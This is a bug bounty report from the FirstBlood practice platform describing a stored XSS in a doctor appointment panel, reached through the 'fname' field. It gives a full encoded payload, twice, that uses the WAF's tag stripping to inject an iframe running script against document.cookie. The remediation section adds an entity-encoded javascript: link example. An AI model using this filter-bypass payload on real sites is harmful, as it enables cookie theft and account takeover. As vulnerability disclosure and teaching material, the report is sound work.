FirstBlood-#195Stored XSS on admin Side - Collaboration with Jomar
This issue was discovered on FirstBlood v1



On 2021-05-11, serizao Level 2 reported:

Hi team :) We found a stored xss.

Intro

Users have the possibility to make appointments. Following this appointment, a GUID is assigned to the request. The user can then come back and modify the information. The doctors on their side have the possibility to see the appointments made.

When the doctor clicks on the name of a patient who has made an appointment an Ajax (http://firstbloodhackers.com:49521/drpanel/drapi/query.php?aptid=[id]) call is then made to fetch the requested information.

The information on the requested page is in plain text and yet the content type of the page is in text/html which would allow html code to run if someone manages to inject HTML code.

While trying I realized that a WAF was protecting the page. However, it does not apply the good practice, because it removes the tags that it thinks malicious which in our case will help us. So to bypass the WAF you just have to put a tag that will be removed with a piece of the payload tag before and after

original payload : a%3<<a>style><<a>iframe/srcdoc="%26%6c%74%3b%26%23%78%37%33%3b%26%23%78%36%33%3b%26%23%78%37%32%3b%26%23%78%36%39%3b%26%23%78%37%30%3b%26%23%78%37%34%3b%26%67%74%3b%26%23%78%36%31%3b%26%23%78%36%43%3b%26%23%78%36%35%3b%26%23%78%37%32%3b%26%23%78%37%34%3b%26%6c%70%61%72%3b%26%23%78%36%34%3b%26%23%78%36%46%3b%26%23%78%36%33%3b%26%23%78%37%35%3b%26%23%78%36%44%3b%26%23%78%36%35%3b%26%23%78%36%45%3b%26%23%78%37%34%3b%26%70%65%72%69%6f%64%3b%26%23%78%36%33%3b%26%23%78%36%46%3b%26%23%78%36%46%3b%26%23%78%36%42%3b%26%23%78%36%39%3b%26%23%78%36%35%3b%26%72%70%61%72%3b%26%6c%74%3b%26%73%6f%6c%3b%26%23%78%37%33%3b%26%23%78%36%33%3b%26%23%78%37%32%3b%26%23%78%36%39%3b%26%23%78%37%30%3b%26%23%78%37%34%3b%26%67%74%3b">

payload after waf deletion : a%3<iframe/srcdoc="&lt;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&gt;&#x61;&#x6C;&#x65;&#x72;&#x74;&lpar;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&period;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;&rpar;&lt;&sol;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&gt;">

alert being also filtered we use HTML entities to send the alert instruction without blocking

After sending an appointment with the payload in fname the xss can be executed on the backend. For that you have to chain with the vulnerability indicating the presence of a "doctor" token allowing the registration in the backend. Then find the id of the reservation and send the url to the vitime. In theory it should look like this: http://firstbloodhackers.com:49521/drpanel/drapi/query.php?aptid=[id]`

Poc

Risk

It is important to note here that it is possible to retrieve the admin cookie. An attacker could then steal the account in question. Like an XSS, it is possible to transform this into an open redirect or to make a fake authentication test pattern in order to steal the identifiers of the targeted person

Remediation

Here the remediation is essentially about three points:

  • the waf should not remove dangerous characters because it does not protect the site

  • the content type must be set to text/plain in order to avoid the execution of possible injection. It is however advised to use JSON as exchange format. If necessary the content-type should be set to application/json.

  • In order to avoid that the attacker injects special characters into the execution of the javascript code, it is recommended to use HTMLEntities everywhere, so that the context change is impossible. However be careful it is possible to inject with htmlentities in the tags a example <a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70; &#x74;&colon;&#x61;&#x6C;&#x65;&#x72;&#x74;&lpar;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&period;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;&rpar;">xss</a>

P2 High

Endpoint: http://firstbloodhackers.com:49521/api/ba.php

Parameter: fname

Payload: a%3<<a>style><<a>iframe/srcdoc="%26%6c%74%3b%26%23%78%37%33%3b%26%23%78%36%33%3b%26%23%78%37%32%3b%26%23%78%36%39%3b%26%23%78%37%30%3b%26%23%78%37%34%3b%26%67%74%3b%26%23%78%36%31%3b%26%23%78%36%43%3b%26%23%78%36%35%3b%26%23%78%37%32%3b%26%23%78%37%34%3b%26%6c%70%61%72%3b%26%23%78%36%34%3b%26%23%78%36%46%3b%26%23%78%36%33%3b%26%23%78%37%35%3b%26%23%78%36%44%3b%26%23%78%36%35%3b%26%23%78%36%45%3b%26%23%78%37%34%3b%26%70%65%72%69%6f%64%3b%26%23%78%36%33%3b%26%23%78%36%46%3b%26%23%78%36%46%3b%26%23%78%36%42%3b%26%23%78%36%39%3b%26%23%78%36%35%3b%26%72%70%61%72%3b%26%6c%74%3b%26%73%6f%6c%3b%26%23%78%37%33%3b%26%23%78%36%33%3b%26%23%78%37%32%3b%26%23%78%36%39%3b%26%23%78%37%30%3b%26%23%78%37%34%3b%26%67%74%3b">


FirstBlood ID: 10
Vulnerability Type: Stored XSS

When creating an appointment, it is possible to get stored XSS /drapi/query.php via the patients name